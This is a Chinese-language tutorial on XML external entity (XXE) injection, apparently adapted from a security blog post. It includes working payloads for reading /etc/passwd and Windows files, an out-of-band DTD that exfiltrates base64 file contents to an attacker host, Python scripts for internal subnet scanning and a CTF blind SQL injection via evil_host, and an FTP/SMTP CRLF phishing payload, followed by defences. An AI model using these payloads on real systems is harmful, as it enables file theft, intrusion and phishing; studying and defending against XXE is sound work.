XXE漏洞基础

XXE - 外部实体注入（Xml External Entity Injection）

基本信息与概念

定义

XML是一种非常流行的标记语言，在1990年代后期首次标准化，并被无数的软件项目所采用。它用于配置文件，文档格式（如OOXML，ODF，PDF，RSS，…），图像格式（SVG，EXIF标题）和网络协议（WebDAV，CalDAV，XMLRPC，SOAP，XMPP，SAML， XACML，…），他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

在解析外部实体的过程中，XML解析器可以根据URL中指定的方案（协议）来查询各种网络协议和服务（DNS，FTP，HTTP，SMB等）。外部实体对于在文档中创建动态引用非常有用，这样对引用资源所做的任何更改都会在文档中自动更新。但是，在处理外部实体时，可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件，这些文件可能包含密码和私人用户数据等敏感数据，或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合，这些攻击的范围可以扩展到客户端内存损坏，任意代码执行，甚至服务中断，具体取决于这些攻击的上下文。

XML 文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition）的东西控制的，他就是长得下面这个样子

1
2
3
4
5
6
7
<?xml version="1.0"?> //这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message，然后跟元素下面有一些子元素，那么 XML 到时候必须像下面这么写

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在 DTD 中定义元素**（其实就是对应 XML 中的标签）**以外，我们还能在 DTD 中定义实体(对应XML 标签中的内容)，毕竟 ML 中除了能标签以外，还需要有些内容是固定的。比如：

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [
<!ELEMENT xee ANY >
<!ENTITY testMsg "test" >]>

这里定义元素为 ANY 说明接受任何元素，但是定义了一个 xml 的实体（这是我们在这篇文章中第一次看到实体的真面目，实体其实可以看成一个变量，到时候我们可以在 XML 中通过 &[entity]; 符号进行引用），那么 XML 就可以写成这样

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对上面定义的 xxe 实体进行了引用，到时候输出的时候 &xxe 就会被 “test” 替换。

内部与外部实体

实体分为两种，内部实体和外部实体，上面我们举的例子就是内部实体，但是实际上实体可以从外部的dtd 文件中引用，我们看下面的代码：

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY file SYSTEM "file:///c:/test.dtd" >]> //引用的外部的dtd文件
<creds>
    <user>&file;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便（方便永远是安全的敌人）

当然，还有一种引用方式是使用引用公用 DTD 的方法，语法如下：

1
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

通用实体与参数实体

我们上面已经将实体分成了两个派别（内部实体和外部外部），但是实际上从另一个角度看，实体还可以分成两个派别：通用实体和参数实体

1.通用实体

用 &实体名; 引用的实体，在DTD 中定义，在 XML 文档中引用（上面提到的过的就是）

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

2.参数实体：

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义，并且只能在 DTD 中使用 %实体名; 引用 (2)只有在 DTD 文件中，参数实体的声明才能引用其他实体 (3)和通用实体一样，参数实体也可以外部引用

1
2
3
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

实验一：有回显读取本地文件（常规xxe）

这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候，我们就能输入我们自定义的 XML 代码，通过引用外部实体的方法，引用服务器上面的文件

本地服务器上解析 XML 的 php 代码：

xml.php

1
2
3
4
5
6
7
8
<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

payload: 将这整段作为 post-data 使用 post 传入服务器即可

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

若文件无特殊符号，则可正常回显

但若文件含有特殊符号如 & < [ ] > ;呢，如果直接想要导出这些数据，xml在渲染时就会出错。因此，可以使用CDATA包裹文件数据再导出

CDATA是一种xml的方法，能够将其中的<>[]等字符当作常量输出，但是它无法转义’]]>’，因为这是他自己的结束标志，就像字符串不能含有\0字符一样。

将数据用CDATA包裹，即：

1
2
3
4
5
6
7
8
<![CDATA[
	xxxxxxxx
	]]>
-------------------------------------
可以定义三个参数ENTITY，分别代表
% start     "<![CDATA[
% datas	     "xxxxxxxx"
% end	     "]]>"

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "file:///c:/tpl.txt">   //引用的一个外部文件，这个文件也可以存放在一个黑客自己搭建的服务器
%dtd; ]>

	<user>
		<username>
			&payload;
		</username>
		<password>
			password
		</password>
	</user>

tpl.txt

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///c:/xxe.txt">  //这里是需要读取的文件
<!ENTITY % end "]]>">
<!ENTITY payload "%start;%file;%end;"> //拼接了上述定义的参数实体

如此就可读取含有<>[]等特殊字符的文件了

加载失败

当然也可以不引用外部文件，直接将迭代定义参数实体即可，但是需要注意的是，被包裹的实体在定义时，双引号需要变为单引号，且需要将"%“转义为html实体编码，即%

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE xxe [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % file SYSTEM "file:///c:/xxe.txt">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd "<!ENTITY payload '&#37;start;&#37;file;&#37;end;'>">
    %dtd; ]>

	<user>
		<username>
			&payload;
		</username>

		<password>
			password
		</password>
	</user>

加载失败

如果服务器端没有xml回显，那么可以选择将读取的文件上传到攻击者个人服务器

方式同上，定义参数实体，利用一些协议将文件编码后，传输至攻击者的服务器(使用python http nc查看即可)

注意因为包裹实体时，实体的值中不能有 %, 所以将其转成html实体编码 %

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

payload：

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

新的思考：

我们刚刚都只是做了一件事，那就是通过 file 协议读取本地文件，或者是通过 http 协议发出请求，熟悉 SSRF 的童鞋应该很快反应过来，这其实非常类似于 SSRF ，因为他们都能从服务器向另一台服务器发起请求，那么我们如果将远程服务器的地址换成某个内网的地址，（比如 192.168.0.10:8080）是不是也能实现 SSRF 同样的效果呢？没错，XXE 其实也是一种 SSRF 的攻击手法，因为 SSRF 其实只是一种攻击模式，利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用：

所以要想更进一步的利用我们不能将眼光局限于 file 协议，我们必须清楚地知道在何种平台，我们能用何种协议

如图所示:

加载失败

注意：

1.其中从2012年9月开始，Oracle JDK版本中删除了对gopher方案的支持，后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35 2.libxml 是 PHP 的 xml 支持

实验三：HTTP 内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作，我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件，看一下有没有内网，以及网段大概是什么样子（我以linux 为例），我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了

下面是一个探测脚本的实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

实验四：HTTP 内网主机端口扫描

找到了内网的一台主机，想要知道攻击点在哪，我们还需要进行端口扫描，端口扫描的脚本主机探测几乎没有什么变化，只要把ip 地址固定，然后循环遍历端口就行了，当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的，读者可以自行修改一下，当然除了这种方法，我们还能结合 burpsuite 进行端口探测

比如我们传入：

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>

返回结果：

1
2
3
4
5
javax.xml.bind.UnmarshalException  
 - with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document  
Internal Exception: ████████████████████████: Connection refused

这样就完成了一次端口探测。如果想更多，我们可以将请求的端口作为参数然后利用 bp 的 intruder 来帮我们探测，设置替换参数为端口即可

实验五：内网盲注(CTF)

2018 强网杯有一道题就是利用 XXE 漏洞进行内网的 SQL 盲注的,大致的思路如下：

首先在外网的一台ip地址为 39.107.33.75:33899 的评论框处测试发现 XXE 漏洞，我们输入 xml 以及 dtd 会出现报错

既然如此，那么我们是不是能读取该服务器上面的文件，我们先读配置文件(这个点是 Blind XXE ，必须使用参数实体，外部引用 DTD )

1
/var/www/52dandan.cc/public_html/config.php

拿到第一部分 flag

1
2
3
4
5
6
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>

注意：
这里有一个小技巧，当我们使用 libxml 读取文件内容的时候，文件不能过大，如果太大就会报错，于是我们就需要使用 php 过滤器的一个压缩的方法
压缩：echo file_get_contents(“php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd”); 解压：echo file_get_contents(“php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1”);

然后我们考虑内网有没有东西，我们读取

1
2
/proc/net/arp
/etc/host

找到内网的另一台服务器的 ip 地址 192.168.223.18

拿到这个 ip 我们考虑就要使用 XXE 进行端口扫描了，然后我们发现开放了 80 端口，然后我们再进行目录扫描，找到一个 test.php ，根据提示，这个页面的 shop 参数存在一个注入,但是因为本身这个就是一个 Blind XXE ,我们的对服务器的请求都是在我们的远程 DTD 中包含的，现在我们需要改变我们的请求，那我们就要在每一次修改请求的时候修改我们远程服务器的 DTD 文件，于是我们的脚本就要挂在我们的 VPS 上，一边边修改 DTD 一边向存在 XXE 漏洞的主机发送请求，脚本就像下面这个样子

示例代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
        "name":"evil_man",
        "email":"testabcdefg@gmail.com",
        "comment":"""<?xml version="1.0" encoding="utf-8"?>
                <!DOCTYPE root [
                <!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
                %dtd;]>
                """
}

for i in range(0,28):
        for j in range(48,123):
                f = open('./evil.dtd','w')
            payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
                <!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
                %all;
                %send;""".format('_'*i+chr(j)+'_'*(27-i))
                f.write(payload2)
                f.close()
                print 'test {}'.format(chr(j))
                r = s.post(url,data=data)
                if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
                        result += chr(j)
                        print chr(j)
                        break
print result

这道题难度比加大，做起来也非常的耗时，所有的东西都要靠脚本去猜，因此当时是0解

实验六：钓鱼：

如果内网有一台易受攻击的 SMTP 服务器，我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令，也就是可以指定其发送任意邮件给任意人，这样就伪造了信息源，造成钓鱼（一下实例来自fb 的一篇文章）

Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此，我们可以指定用户名和密码，例如ftp://user:password@host:port/test.txt，FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置，我们就可以终止USER命令并向FTP会话中注入一个新的命令，即允许我们向25端口发送任意的SMTP命令：

示例代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

当FTP客户端使用此URL连接时，以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器：

示例代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件（例如：帐户重置链接）并绕过垃圾邮件过滤器的检测。除了链接之外，甚至我们也可以发送附件。

真实的 XXE 出现在哪

我们刚刚说了那么多，都是只是我们对这个漏洞的理解，但是好像还没说这种漏洞出现在什么地方

如今的 web 时代，是一个前后端分离的时代，有人说 MVC 就是前后端分离，但我觉得这种分离的并不彻底，后端还是要尝试去调用渲染类去控制前端的渲染，我所说的前后端分离是，后端 api 只负责接受约定好要传入的数据，然后经过一系列的黑盒运算，将得到结果以 json 格式返回给前端，前端只负责坐享其成，拿到数据json.decode 就行了（这里的后端可以是后台代码，也可以是外部的api 接口，这里的前端可以是传统意义的前端，也可以是后台代码）

那么问题经常就出现在 api 接口能解析客户端传过来的 xml 代码，并且直接外部实体的引用，比如下面这个

实例一：模拟情况

示例代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>XML is the best!</description>
   </core>
</catalog>

我们发出带有 xml 的 POST 请求以后，述代码将交由服务器的XML处理器解析。代码被解释并返回：{“Request Successful”: “Added!”}

代表该web服务可以进行xml的类型数据的传输，服务器也会正常接收并处理xml类型。

此时如果我们传入一个恶意的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

如果没有做好“安全措施” 就会出现解析恶意代码的情况，就会有下面的返回

1
2
3
4
5
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

实例二：JSON content-type XXE

正如我们所知道的，很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful，一般对于web服务来说，最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式，但服务器却可以接受开发人员并没有预料到的其他数据格式，这就有可能会导致JSON节点受到XXE（XML外部实体）攻击

原始请求和响应：

HTTP Request:

1
2
3
4
5
6
7
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

1
2
3
4
5
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

现在我们尝试将 Content-Type 修改为 application/xml

进一步请求和响应：

HTTP Request:

1
2
3
4
5
6
7
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

1
2
3
4
5
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

可以发现服务器端是能处理 xml 数据的，于是我们就可以利用这个来进行攻击

最终的请求和响应：

HTTP Request:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

XXE 如何防御

方案一：使用语言中推荐的禁用外部实体的方法

PHP：

1
libxml_disable_entity_loader(true);

JAVA:

1
2
3
4
5
6
7
8
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python：

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二：手动黑名单过滤(不推荐)

过滤关键词：

1
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

本文原作者 K0rz3n 。文章内容略有删减与修改

1
https://xz.aliyun.com/t/3357?time__1311=n4%2BxnD0DgGYQwqYq40HpDUhDfxGT%2BALux0K4x&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-0

XXE - 外部实体注入（Xml External Entity Injection）#

基本信息与概念#

定义#

内部与外部实体#

通用实体与参数实体#

实验一：有回显读取本地文件（常规xxe）#

实验二：无回显读取本地敏感文件(Blind OOB XXE)#

实验三：HTTP 内网主机探测#

实验四：HTTP 内网主机端口扫描#

实验五：内网盲注(CTF)#

实验六：钓鱼：#

真实的 XXE 出现在哪#

实例一：模拟情况#

实例二：JSON content-type XXE#

原始请求和响应：#

进一步请求和响应：#

最终的请求和响应：#

XXE 如何防御#

方案一：使用语言中推荐的禁用外部实体的方法#

方案二：手动黑名单过滤(不推荐)#

XXE - 外部实体注入（Xml External Entity Injection）

基本信息与概念

定义

内部与外部实体

通用实体与参数实体

实验一：有回显读取本地文件（常规xxe）

实验二：无回显读取本地敏感文件(Blind OOB XXE)

实验三：HTTP 内网主机探测

实验四：HTTP 内网主机端口扫描

实验五：内网盲注(CTF)

实验六：钓鱼：

真实的 XXE 出现在哪

实例一：模拟情况

实例二：JSON content-type XXE

原始请求和响应：

进一步请求和响应：

最终的请求和响应：

XXE 如何防御

方案一：使用语言中推荐的禁用外部实体的方法

方案二：手动黑名单过滤(不推荐)